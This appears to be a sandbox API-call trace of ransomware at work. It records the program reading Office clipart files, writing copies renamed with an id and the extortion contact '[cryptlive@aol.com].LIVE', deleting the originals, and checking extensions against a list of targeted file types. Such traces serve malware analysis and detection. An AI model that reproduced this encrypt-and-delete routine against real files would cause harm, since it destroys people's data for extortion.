[0146.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.440] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.440] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.472] GetLastError () returned 0x0 [0146.472] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1746, lpOverlapped=0x0) returned 1 [0146.529] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0146.530] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.530] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.530] SetEndOfFile (hFile=0x3d4) returned 1 [0146.530] CloseHandle (hObject=0x3d4) returned 1 [0146.530] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.530] SetEndOfFile (hFile=0x3dc) returned 1 [0146.533] CloseHandle (hObject=0x3dc) returned 1 [0146.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0146.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".doc") returned 4 [0146.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString=".docx") returned 5 [0146.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.535] lstrlenW (lpString=".pdf") returned 4 [0146.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString=".xls") returned 4 [0146.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.535] lstrlenW (lpString=".xlsx") returned 5 [0146.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.535] lstrlenW (lpString=".ppt") returned 4 [0146.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".zip") returned 4 [0146.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.535] lstrlenW (lpString=".rar") returned 4 [0146.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString=".bz2") returned 4 [0146.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString=".7z") returned 3 [0146.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".dbf") returned 4 [0146.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".1cd") returned 4 [0146.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".jpg") returned 4 [0146.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.535] lstrlenW (lpString=".doc") returned 4 [0146.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString=".docx") returned 5 [0146.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.536] lstrlenW (lpString=".pdf") returned 4 [0146.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString=".xls") returned 4 [0146.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.536] lstrlenW (lpString=".xlsx") returned 5 [0146.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.536] lstrlenW (lpString=".ppt") returned 4 [0146.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.536] lstrlenW (lpString=".zip") returned 4 [0146.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.536] lstrlenW (lpString=".rar") returned 4 [0146.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString=".bz2") returned 4 [0146.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString=".7z") returned 3 [0146.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.536] lstrlenW (lpString=".dbf") returned 4 [0146.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.536] lstrlenW (lpString=".1cd") returned 4 [0146.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0146.536] lstrlenW (lpString=".jpg") returned 4 [0146.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.536] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.536] lstrlenW (lpString="HH02166_.WMF") returned 12 [0146.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.537] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1324) returned 1 [0146.537] CloseHandle (hObject=0x3dc) returned 1 [0146.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0146.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.538] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.538] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.538] GetLastError () returned 0x0 [0146.539] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x52c, lpOverlapped=0x0) returned 1 [0146.551] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x530, lpOverlapped=0x0) returned 1 [0146.552] ReadFile (in: hFile=0x3dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.552] WriteFile (in: hFile=0x3d4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.552] SetEndOfFile (hFile=0x3d4) returned 1 [0146.552] CloseHandle (hObject=0x3d4) returned 1 [0146.552] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.552] SetEndOfFile (hFile=0x3dc) returned 1 [0146.554] CloseHandle (hObject=0x3dc) returned 1 [0146.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0146.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".doc") returned 4 [0146.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString=".docx") returned 5 [0146.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.558] lstrlenW (lpString=".pdf") returned 4 [0146.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString=".xls") returned 4 [0146.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.558] lstrlenW (lpString=".xlsx") returned 5 [0146.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.558] lstrlenW (lpString=".ppt") returned 4 [0146.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".zip") returned 4 [0146.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.558] lstrlenW (lpString=".rar") returned 4 [0146.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString=".bz2") returned 4 [0146.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString=".7z") returned 3 [0146.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".dbf") returned 4 [0146.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".1cd") returned 4 [0146.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".jpg") returned 4 [0146.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.558] lstrlenW (lpString=".doc") returned 4 [0146.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString=".docx") returned 5 [0146.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.559] lstrlenW (lpString=".pdf") returned 4 [0146.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString=".xls") returned 4 [0146.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.559] lstrlenW (lpString=".xlsx") returned 5 [0146.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.559] lstrlenW (lpString=".ppt") returned 4 [0146.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.559] lstrlenW (lpString=".zip") returned 4 [0146.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.559] lstrlenW (lpString=".rar") returned 4 [0146.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString=".bz2") returned 4 [0146.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString=".7z") returned 3 [0146.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.559] lstrlenW (lpString=".dbf") returned 4 [0146.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.559] lstrlenW (lpString=".1cd") returned 4 [0146.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0146.559] lstrlenW (lpString=".jpg") returned 4 [0146.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.559] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.559] lstrlenW (lpString="HH02298_.WMF") returned 12 [0146.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.588] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5552) returned 1 [0146.588] CloseHandle (hObject=0x350) returned 1 [0146.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0146.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.590] GetLastError () returned 0x0 [0146.590] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x15b0, lpOverlapped=0x0) returned 1 [0146.591] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0146.592] ReadFile (in: hFile=0x350, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0146.592] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.592] SetEndOfFile (hFile=0x39c) returned 1 [0146.592] CloseHandle (hObject=0x39c) returned 1 [0146.592] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.592] SetEndOfFile (hFile=0x350) returned 1 [0146.595] CloseHandle (hObject=0x350) returned 1 [0146.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString=".doc") returned 4 [0146.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString=".docx") returned 5 [0146.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.596] lstrlenW (lpString=".pdf") returned 4 [0146.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString=".xls") returned 4 [0146.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.596] lstrlenW (lpString=".xlsx") returned 5 [0146.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.596] lstrlenW (lpString=".ppt") returned 4 [0146.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString=".zip") returned 4 [0146.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.596] lstrlenW (lpString=".rar") returned 4 [0146.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString=".bz2") returned 4 [0146.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString=".7z") returned 3 [0146.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString=".dbf") returned 4 [0146.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString=".1cd") returned 4 [0146.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.596] lstrlenW (lpString=".jpg") returned 4 [0146.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString=".doc") returned 4 [0146.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString=".docx") returned 5 [0146.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.597] lstrlenW (lpString=".pdf") returned 4 [0146.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString=".xls") returned 4 [0146.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.597] lstrlenW (lpString=".xlsx") returned 5 [0146.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.597] lstrlenW (lpString=".ppt") returned 4 [0146.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString=".zip") returned 4 [0146.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.597] lstrlenW (lpString=".rar") returned 4 [0146.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString=".bz2") returned 4 [0146.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString=".7z") returned 3 [0146.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString=".dbf") returned 4 [0146.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString=".1cd") returned 4 [0146.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0146.597] lstrlenW (lpString=".jpg") returned 4 [0146.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.598] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.598] lstrlenW (lpString="HM00005_.WMF") returned 12 [0146.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.599] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=23300) returned 1 [0146.599] CloseHandle (hObject=0x350) returned 1 [0146.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0146.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0146.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 